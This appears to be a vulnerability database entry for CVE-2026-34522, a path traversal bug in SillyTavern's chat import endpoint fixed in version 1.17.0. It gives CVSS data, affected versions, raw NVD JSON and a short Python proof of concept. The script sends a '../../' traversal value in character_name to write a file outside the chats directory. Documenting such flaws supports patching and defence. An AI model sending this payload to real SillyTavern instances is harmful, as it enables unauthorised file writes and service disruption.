Security Vulnerability Report
中文
CVE-2026-34522 CVSS 8.1 HIGH

CVE-2026-34522

Published: 2026-04-02 18:16:29
Last Modified: 2026-04-13 18:34:46

Description

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:* - VULNERABLE
SillyTavern < 1.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL (example) target_url = "http://localhost:8000/api/chats/import" # Attacker controlled payload utilizing path traversal # The goal is to write a file outside the 'chats' directory payload = { "character_name": "../../malicious_exploit.txt", # Path traversal sequence "chat_data": "This is attacker controlled content.", # Other required fields depending on API structure } # Headers (Authentication required as per PR:L) headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_AUTH_TOKEN>" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34522", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:29.453", "lastModified": "2026-04-13T18:34:46.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "7E2E14B3-75EF-4DC4-84BE-8C2F5D6949A4"}]}]}], "references": [{"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}